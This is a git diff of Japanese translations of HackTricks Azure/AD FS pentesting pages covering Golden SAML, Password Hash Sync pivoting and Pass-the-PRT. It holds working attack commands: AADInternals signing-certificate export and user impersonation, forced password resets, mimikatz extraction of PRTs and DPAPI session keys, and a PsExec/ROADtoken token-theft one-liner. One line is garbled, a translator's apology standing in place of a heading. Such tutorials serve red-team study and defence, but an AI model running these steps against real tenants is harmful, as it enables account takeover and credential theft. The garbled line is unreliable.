https://book.hacktricks.xyz/pentesting-web/saml-attacks @@ -38,52 +38,52 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## ピボッティング - AD FSは、クレームベースのアイデンティティモデルです。 -- "..クレームは、ユーザーに関して行われる単なるステートメント (例えば、名前、アイデンティティ、グループ) であり、主にインターネット上のどこにでもあるクレームベースのアプリケーションへのアクセスを認可するために使用されます。" -- ユーザーのクレームはSAMLトークン内に記述され、IdPによって機密性を提供するために署名されます。 +- "..クレームは、ユーザーに関して行われる単なるステートメント(例えば、名前、アイデンティティ、グループ)であり、主にインターネット上のどこにでもあるクレームベースのアプリケーションへのアクセスを承認するために使用されます。" +- ユーザーのクレームはSAMLトークン内に書き込まれ、IdPによって機密性を提供するために署名されます。 - ユーザーはImmutableIDによって識別されます。これはグローバルに一意で、Azure ADに保存されています。 -- ImmutableIDは、ユーザーのms-DS-ConsistencyGuidとしてオンプレミスに保存されており、またはユーザーのGUIDから導出できます。 -- 詳細は[https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)を参照してください。 +- ImmutableIDは、ユーザーのためにオンプレミスのms-DS-ConsistencyGuidに保存されており、またはユーザーのGUIDから導出できます。 +- 詳細は[https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)で確認できます。 -**ゴールデンSAML攻撃:** +**ゴールデンSAML攻撃:** - ADFSでは、SAML Responseはトークン署名証明書によって署名されます。 -- 証明書が侵害されると、Azure ADにANYユーザーとして認証することが可能です! +- 証明書が侵害されると、Azure ADにANYユーザーとして認証することが可能になります! - PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がありません。なぜなら、私たちは認証応答を偽造しているからです。 - 証明書はDA権限を持つAD FSサーバーから抽出でき、その後、インターネットに接続された任意のマシンから使用できます。 -- 詳細は[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)を参照してください。 +- 詳細は[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)で確認できます。 ### ゴールデンSAML -**アイデンティティプロバイダー (IdP)** がユーザーサインインを認可するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これは、**サービスプロバイダー (SP)** がSAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。 +**アイデンティティプロバイダー (IdP)**がユーザーサインインを承認するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これにより、**サービスプロバイダー (SP)**はSAMLResponseの真正性を確認でき、信頼されたIdPによって発行されたものであることを保証します。 -[ゴールデンチケット攻撃](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket)と類似点があり、ユーザーのアイデンティティと権限を認証するためのキー (ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名秘密鍵) を操作して**認証オブジェクト** (TGTまたはSAMLResponse) を偽造することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。 +[ゴールデンチケット攻撃](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket)と類似点があり、ユーザーのアイデンティティと権限を認証するためのキー(ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名秘密鍵)を操作して**認証オブジェクト**(TGTまたはSAMLResponse)を偽造できます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。 ゴールデンSAMLにはいくつかの利点があります: - **リモートで作成**でき、ドメインやフェデレーションの一部である必要はありません。 -- **二要素認証 (2FA)** が有効でも効果があります。 +- **二要素認証 (2FA)**が有効でも効果があります。 - トークン署名の**秘密鍵は自動的に更新されません**。 - **ユーザーのパスワードを変更しても**、すでに生成されたSAMLは無効になりません。 #### AWS + AD FS + ゴールデンSAML -[Active Directory Federation Services (AD FS)]()は、信頼されたビジネスパートナー間での**アイデンティティ情報の安全な交換**を促進するMicrosoftのサービスです。これは、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有することを基本的に可能にします。 +[Active Directory Federation Services (AD FS)]()は、信頼されたビジネスパートナー間での**アイデンティティ情報の安全な交換**を促進するMicrosoftのサービスです。これは、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有できるようにします。 -AWSが侵害されたドメインを信頼している場合 (フェデレーション内で)、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得するのに十分です。 +AWSが侵害されたドメインを信頼している場合(フェデレーション内で)、この脆弱性を利用してAWS環境内の**任意の権限を取得**する可能性があります。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃でKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得できます。 ゴールデンSAML攻撃を実行するための要件は次のとおりです: - **トークン署名秘密鍵** - **IdP公開証明書** - **IdP名** -- **ロール名 (引き受けるロール)** +- **ロール名(引き受けるロール)** - ドメイン\ユーザー名 - AWSのロールセッション名 - AmazonアカウントID _太字の項目のみが必須です。他の項目は任意で入力できます。_ -**秘密鍵**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、秘密鍵を[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください: +**秘密鍵**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、秘密鍵を[mimikatz](https://github.com/gentilkiwi/mimikatz)などのツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -133,7 +133,7 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` -クラウド専用ユーザーのImmutableIDを作成し、彼らをなりすますことも可能です。 +クラウド専用ユーザーのImmutableIDを作成し、彼らを偽装することも可能です。 ```powershell # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 6ad3d6586..3b4de0933 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -10,36 +10,36 @@ これは、企業がオンプレミスのADをAzure ADと同期させるために使用する**最も一般的な方法**です。 -すべての**ユーザー**と**パスワードハッシュのハッシュ**がオンプレミスからAzure ADに同期されます。ただし、**平文のパスワード**や**元の** **ハッシュ**はAzure ADに送信されません。\ +すべての**ユーザー**と**パスワードハッシュのハッシュ**は、オンプレからAzure ADに同期されます。ただし、**平文のパスワード**や**元の** **ハッシュ**はAzure ADに送信されません。\ さらに、**組み込み**のセキュリティグループ(ドメイン管理者など)は**Azure ADに同期されません**。 -**ハッシュの同期**は**2分ごと**に行われます。ただし、デフォルトでは、**パスワードの有効期限**と**アカウントの有効期限**はAzure ADに**同期されません**。したがって、**オンプレミスのパスワードが期限切れ**(変更されていない)であるユーザーは、古いパスワードを使用して**Azureリソースにアクセスし続ける**ことができます。 +**ハッシュの同期**は**2分ごと**に行われます。ただし、デフォルトでは、**パスワードの有効期限**と**アカウントの有効期限**はAzure ADに**同期されません**。したがって、**オンプレのパスワードが期限切れ**(変更されていない)であるユーザーは、古いパスワードを使用して**Azureリソースにアクセスし続ける**ことができます。 -オンプレミスのユーザーがAzureリソースにアクセスしたい場合、**認証はAzure ADで行われます**。 +オンプレのユーザーがAzureリソースにアクセスしたい場合、**認証はAzure ADで行われます**。 **PHS**は、**アイデンティティ保護**やAADドメインサービスなどの機能に必要です。 -## ピボッティング +## ピボット PHSが構成されると、いくつかの**特権アカウント**が自動的に**作成**されます: -- アカウント**`MSOL_`**は、オンプレミスADに自動的に作成されます。このアカウントには**ディレクトリ同期アカウント**の役割が与えられます([ドキュメントを参照](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions))。これは、オンプレミスADで**レプリケーション(DCSync)権限**を持っていることを意味します。 +- アカウント**`MSOL_`**は、オンプレADに自動的に作成されます。このアカウントには**ディレクトリ同期アカウント**の役割が与えられます([ドキュメントを参照](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions))。これは、オンプレADで**レプリケーション(DCSync)権限**を持つことを意味します。 - アカウント**`Sync__installationID`**がAzure ADに作成されます。このアカウントは、Azure AD内の**任意のユーザー**(同期されたユーザーまたはクラウド専用ユーザー)のパスワードを**リセット**できます。 これらの2つの特権アカウントのパスワードは、**Azure AD ConnectがインストールされているサーバーのSQLサーバーに保存**されています。管理者は、これらの特権ユーザーのパスワードを平文で抽出できます。\ データベースは`C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`にあります。 -テーブルの1つから構成を抽出することが可能で、その中には暗号化されたものがあります: +テーブルの1つから構成を抽出することが可能で、1つは暗号化されています: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**暗号化された構成**は**DPAPI**で暗号化されており、オンプレミスADの**`MSOL_*`**ユーザーの**パスワード**とAzureADの**Sync\_\***のパスワードを含んでいます。したがって、これらを侵害することでADおよびAzureADへの権限昇格が可能です。 +**暗号化された構成**は**DPAPI**で暗号化されており、オンプレADの`MSOL_*`ユーザーの**パスワード**とAzureADの**Sync\_\***のパスワードを含んでいます。したがって、これらを侵害することでADおよびAzureADへの権限昇格が可能です。 これらの資格情報がどのように保存され、復号化されるかの[完全な概要はこのトークで確認できます](https://www.youtube.com/watch?v=JEIR5oGCwdg)。 ### **Azure AD Connectサーバー**の発見 -**Azure AD Connectがインストールされているサーバー**がドメインに参加している場合(ドキュメントで推奨されている)、次の方法で見つけることができます: +**Azure AD Connectがインストールされているサーバー**がドメインに参加している場合(ドキュメントで推奨)、次の方法で見つけることができます: ```powershell # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -82,7 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -クラウドユーザーの**パスワードのみを変更する**ことも可能です(予期しない場合でも)。 +クラウドユーザーのパスワードのみを**変更することも可能です**(たとえそれが予期しないことであっても)。 ```powershell # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -91,14 +91,14 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -ユーザーのパスワードをダンプすることも可能です。 +このユーザーのパスワードをダンプすることも可能です。 > [!CAUTION] -> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことで、**Sync**ユーザーには**権限**があります。そして、その**サービスプリンシパルにアクセスする**ことで特権昇格を行うことができます。 +> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことであり、**Sync**ユーザーには**権限**があります。そして、その**サービスプリンシパルにアクセスする**ことで特権昇格を行うことができます。 ### シームレスSSO -PHSを使用してシームレスSSOを利用することが可能で、他の悪用に対して脆弱です。以下を確認してください: +PHSを使用してシームレスSSOを利用することが可能であり、他の悪用に対して脆弱です。以下で確認してください: {{#ref}} seamless-sso.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 4f96c1dbc..15b4fd372 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -12,7 +12,7 @@ az-primary-refresh-token-prt.md ``` Dsregcmd.exe /status ``` -SSOステートセクションでは、**`AzureAdPrt`**が**YES**に設定されているのが確認できます。 +SSOステートセクションでは、**`AzureAdPrt`**が**YES**に設定されているのが見えるはずです。
@@ -22,7 +22,7 @@ SSOステートセクションでは、**`AzureAdPrt`**が**YES**に設定され ## PRTクッキー -PRTクッキーは実際には**`x-ms-RefreshTokenCredential`**と呼ばれ、JSON Web Token(JWT)です。JWTは**3つの部分**、**ヘッダー**、**ペイロード**、**署名**から構成され、`.`で区切られ、すべてURLセーフなbase64エンコードされています。典型的なPRTクッキーは以下のヘッダーとボディを含みます: +PRTクッキーは実際には**`x-ms-RefreshTokenCredential`**と呼ばれ、JSON Web Token(JWT)です。JWTは**3つの部分**、**ヘッダー**、**ペイロード**、および**署名**で構成され、`.`で区切られ、すべてURLセーフなbase64でエンコードされています。典型的なPRTクッキーは以下のヘッダーとボディを含みます: ```json { "alg": "HS256", @@ -34,13 +34,13 @@ PRTクッキーは実際には**`x-ms-RefreshTokenCredential`**と呼ばれ、JS "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -実際の **Primary Refresh Token (PRT)** は **`refresh_token`** 内にカプセル化されており、これは Azure AD の制御下にあるキーによって暗号化されているため、その内容は私たちには不透明で復号不可能です。フィールド **`is_primary`** は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされ続けることを保証するために、`request_nonce` は `logon.microsoftonline.com` ページから送信されます。 +実際の **Primary Refresh Token (PRT)** は **`refresh_token`** 内にカプセル化されており、これは Azure AD の制御下にあるキーによって暗号化されているため、その内容は私たちには不透明で復号不可能です。フィールド **`is_primary`** は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされ続けることを保証するために、`request_nonce` が `logon.microsoftonline.com` ページから送信されます。 -### TPMを使用したPRTクッキーフロー +### TPMを使用したPRTクッキーのフロー -**LSASS** プロセスは **KDFコンテキスト** を TPM に送信し、TPM は **セッションキー**(デバイスが AzureAD に登録されたときに収集され、TPM に保存された)と前のコンテキストを使用して **キーを導出** し、この **導出されたキー** は **PRTクッキー (JWT) を署名するために使用されます。** +**LSASS** プロセスは **KDFコンテキスト** を TPM に送信し、TPM は **セッションキー**(デバイスが AzureAD に登録されたときに収集され、TPM に保存されたもの)と前のコンテキストを使用して **キーを導出** し、この **導出されたキー** が **PRTクッキー (JWT) を署名するために使用されます。** -**KDFコンテキストは** AzureAD からのノンスと PRT を混ぜた **JWT** であり、**コンテキスト**(ランダムバイト)を含みます。 +**KDFコンテキストは** AzureAD からのノンスと PRT を混ぜた **JWT** で、**コンテキスト**(ランダムバイト)を含みます。 したがって、PRT が TPM 内にあるために抽出できない場合でも、LSASS を悪用して **新しいコンテキストから導出されたキーを要求し、生成されたキーを使用してクッキーに署名する** ことが可能です。 @@ -49,7 +49,7 @@ PRTクッキーは実際には**`x-ms-RefreshTokenCredential`**と呼ばれ、JS ## PRT悪用シナリオ **通常のユーザー** として、LSASS に SSO データを要求することで **PRTの使用を要求する** ことが可能です。\ -これは、**Web Account Manager**(トークンブローカー)からトークンを要求する **ネイティブアプリ** のように行うことができます。WAM はリクエストを **LSASS** に渡し、LSASS は署名された PRT アサーションを使用してトークンを要求します。また、**PRTクッキー** を **ヘッダー** として使用して Azure AS ログインページへのリクエストを認証する **ブラウザベース(ウェブ)フロー** でも行うことができます。 +これは、**Web Account Manager**(トークンブローカー)からトークンを要求する **ネイティブアプリ** のように行うことができます。WAM はリクエストを **LSASS** に渡し、LSASS は署名された PRT アサーションを使用してトークンを要求します。また、**PRTクッキー** が Azure AS ログインページへのリクエストを認証するための **ヘッダー** として使用される **ブラウザベース(ウェブ)フロー** でも行うことができます。 **SYSTEM** として、TPM によって保護されていない場合は **PRTを盗むことができ**、または **LSASS 内のPRTキーと相互作用する** ことができます。 @@ -57,10 +57,10 @@ PRTクッキーは実際には**`x-ms-RefreshTokenCredential`**と呼ばれ、JS ### 攻撃 - ROADtoken -この方法の詳細については、[**この投稿を確認してください**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken は正しいディレクトリから **`BrowserCore.exe`** を実行し、これを使用して **PRTクッキーを取得** します。このクッキーはその後、ROADtools を使用して認証し、**永続的なリフレッシュトークンを取得** するために使用できます。 +この方法の詳細については [**この投稿を確認してください**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken は正しいディレクトリから **`BrowserCore.exe`** を実行し、これを使用して **PRTクッキーを取得** します。このクッキーはその後、ROADtools を使用して認証し、**永続的なリフレッシュトークンを取得** するために使用できます。 有効な PRT クッキーを生成するために最初に必要なのはノンスです。\ -これを取得するには: +これを取得するには: ```powershell $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" @@ -76,15 +76,15 @@ $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` -または [**roadrecon**](https://github.com/dirkjanm/ROADtools) を使用して: +[**roadrecon**](https://github.com/dirkjanm/ROADtools)を使用するか: ```powershell roadrecon auth prt-init ``` -次に、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます(攻撃するユーザーのプロセスからツールを実行します): +その後、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます(攻撃するユーザーのプロセスからツールを実行します): ```powershell .\ROADtoken.exe ``` -As oneliner: +申し訳ありませんが、具体的なテキストが提供されていないため、翻訳を行うことができません。翻訳が必要なテキストを提供してください。 ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` @@ -96,11 +96,11 @@ roadrecon auth --prt-cookie # Connect Connect-AzureAD --AadAccessToken --AccountId ``` -### 攻撃 - roadreconを使用 +### 攻撃 - roadreconの使用 -### 攻撃 - AADInternalsと漏洩したPRTを使用 +### 攻撃 - AADInternalsと漏洩したPRTの使用 -`Get-AADIntUserPRTToken` **ユーザーのPRTトークンを取得**します Azure ADに参加したコンピュータまたはハイブリッド参加したコンピュータから。 `BrowserCore.exe`を使用してPRTトークンを取得します。 +`Get-AADIntUserPRTToken` **ユーザーのPRTトークンを取得します** Azure ADに参加したコンピュータまたはハイブリッド参加したコンピュータから。 `BrowserCore.exe`を使用してPRTトークンを取得します。 ```powershell # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -108,7 +108,7 @@ $prtToken = Get-AADIntUserPRTToken # Get an access token for AAD Graph API and save to cache Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` -また、Mimikatzからの値がある場合は、AADInternalsを使用してトークンを生成することもできます: +Mimikatzからの値がある場合は、AADInternalsを使用してトークンを生成することもできます: ```powershell # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` -[https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアして、新しいクッキーを入力します。 +[https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアし、新しいクッキーを入力します。 ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -146,26 +146,26 @@ HttpOnly: Set to True (checked) 次に、[https://portal.azure.com](https://portal.azure.com)に移動します。 > [!CAUTION] -> 残りはデフォルトのはずです。ページを更新できて、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度実行する必要があります。消えない場合は、問題ありません。 +> 残りはデフォルトのはずです。ページを更新でき、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度実行する必要があります。消えない場合は、問題ありません。 ### 攻撃 - Mimikatz #### ステップ -1. **PRT(プライマリリフレッシュトークン)がLSASS**(ローカルセキュリティ認証局サブシステムサービス)から抽出され、後で使用するために保存されます。 -2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号化する必要があります。DPAPI(データ保護API)に関する詳細情報は、これらのリソースで確認できます:[HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) およびその適用については、[Pass-the-cookie attack](az-pass-the-cookie.md)を参照してください。 -3. セッションキーの復号化後、**PRTのための派生キーとコンテキストが取得されます**。これらは**PRTクッキーの作成に重要です**。具体的には、派生キーはクッキーを構成するJWT(JSON Webトークン)に署名するために使用されます。このプロセスの詳細な説明はDirk-janによって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)でアクセスできます。 +1. **PRT(プライマリリフレッシュトークン)がLSASS(ローカルセキュリティオーソリティサブシステムサービス)から抽出され、後で使用するために保存されます。** +2. **次にセッションキーが抽出されます。** このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号化する必要があります。DPAPI(データ保護API)に関する詳細情報は、これらのリソースで確認できます: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) およびその適用については、[Pass-the-cookie attack](az-pass-the-cookie.md)を参照してください。 +3. セッションキーの復号化後、**PRTのための派生キーとコンテキストが取得されます。** これらは**PRTクッキーの作成に重要です。** 特に、派生キーはクッキーを構成するJWT(JSON Webトークン)に署名するために使用されます。このプロセスの詳細な説明はDirk-janによって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)でアクセスできます。 > [!CAUTION] -> PRTがTPM内にあり、`lsass`内にない場合、**mimikatzはそれを抽出できません**。\ +> PRTがTPM内にあり、`lsass`内にない場合、**mimikatzはそれを抽出できません。**\ > ただし、TPMからのコンテキストから派生キーを取得し、それを使用して**クッキーに署名することは可能です(オプション3を確認してください)。** -これらの詳細を抽出するために実行されたプロセスの**詳細な説明**は、こちらで確認できます: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +これらの詳細を抽出するために実行されたプロセスの**詳細な説明**は、こちらにあります: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] > これは、2021年8月の修正後、他のユーザーのPRTトークンを取得するためには正確には機能しません。なぜなら、ユーザーのみが自分のPRTを取得できるからです(ローカル管理者は他のユーザーのPRTにアクセスできません)が、自分のPRTにはアクセスできます。 -**mimikatz**を使用してPRTを抽出できます: +**mimikatz**を使用してPRTを抽出できます: ```powershell mimikatz.exe Privilege::debug @@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**Prt**とラベル付けされた部分を**コピー**して保存します。\ -また、下にハイライトされている**`ProofOfPossesionKey`**フィールドの**`KeyValue`**のセッションキーも抽出します。これは暗号化されており、復号化するためにDPAPIマスタキーを使用する必要があります。 +また、下にハイライトされている**`ProofOfPossesionKey`**フィールドの**`KeyValue`**であるセッションキーも抽出します。これは暗号化されており、復号化するためにDPAPIマスタキーを使用する必要があります。
> [!NOTE] -> PRTデータが表示されない場合、デバイスがAzure ADに参加していないために**PRTがない**か、**古いバージョン**のWindows 10を**実行している**可能性があります。 +> PRTデータが表示されない場合、デバイスがAzure ADに参加していないために**PRTがない**か、**古いバージョン**のWindows 10を実行している可能性があります。 -セッションキーを**復号化**するには、**SYSTEM**に権限を**昇格**させてコンピュータコンテキストで実行し、**DPAPIマスタキーを使用して復号化**できるようにする必要があります。次のコマンドを使用して実行できます: +セッションキーを**復号化**するには、**SYSTEM**権限に**昇格**してコンピュータコンテキストで実行し、**DPAPIマスタキーを使用して復号化**できるようにする必要があります。次のコマンドを使用して実行できます: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -200,7 +200,7 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
-- そして、派生キー値を: +- そして派生キー値を:
@@ -210,7 +210,7 @@ Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] ```
-- [https://login.microsoftonline.com](https://login.microsoftonline.com)に移動し、login.microsoftonline.comのすべてのクッキーをクリアして、新しいクッキーを入力します。 +- [https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアして、新しいクッキーを入力します。 ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -220,7 +220,7 @@ HttpOnly: Set to True (checked) - 次に [https://portal.azure.com](https://portal.azure.com) に移動します。 > [!CAUTION] -> 残りはデフォルトのままで大丈夫です。ページを更新でき、クッキーが消えないことを確認してください。消える場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。 +> 残りはデフォルトのままであるべきです。ページを更新でき、クッキーが消えないことを確認してください。消える場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、大丈夫です。 #### オプション 2 - PRTを使用したroadrecon @@ -228,7 +228,7 @@ HttpOnly: Set to True (checked) ```bash roadtx prt -a renew --prt --prt-sessionkey ``` -- これで、`roadtx browserprtauth`を使用してインタラクティブブラウザで**トークンを要求**できます。`roadtx describe`コマンドを使用すると、アクセス トークンにMFAクレームが含まれていることがわかります。これは、今回使用したPRTにもMFAクレームが含まれていたためです。 +- これで、`roadtx browserprtauth`を使用してインタラクティブブラウザで**トークンを要求**できます。`roadtx describe`コマンドを使用すると、アクセス トークンに MFA クレームが含まれていることがわかります。これは、今回使用した PRT にも MFA クレームが含まれていたためです。 ```bash roadtx browserprtauth roadtx describe < .roadtools_auth @@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth #### オプション 3 - derived keys を使用した roadrecon -コンテキストと mimikatz によってダンプされた derived key を持っている場合、roadrecon を使用して新しい署名付きクッキーを生成することが可能です: +コンテキストと mimikatz によってダンプされた derived key があれば、roadrecon を使用して新しい署名付きクッキーを生成することが可能です: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 6b9320eb4..527f6b85d 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -テストを開始するには、**サブスクリプションに対するリーダー権限を持つユーザー**と**AzureADのグローバルリーダー役割**にアクセスする必要があります。それでも**ストレージアカウントのコンテンツにアクセスできない**場合は、**ストレージアカウント貢献者の役割**で修正できます。 +テストを開始するには、**サブスクリプションに対するReader権限**と**AzureADのGlobal Readerロール**を持つユーザーでアクセスする必要があります。それでもなお**ストレージアカウントのコンテンツにアクセスできない場合**は、**Storage Account Contributorロール**で修正できます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 3fda24e63..edcd29eb3 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -12,25 +12,25 @@ - これにより、**環境の規模**や**使用されているサービス**を理解するのに役立ちます。 - また、**自動化ツール**を使用してほとんどのテストを実行できるため、いくつかの**迅速な誤設定**を見つけることもできます。 - **サービスの列挙** -- 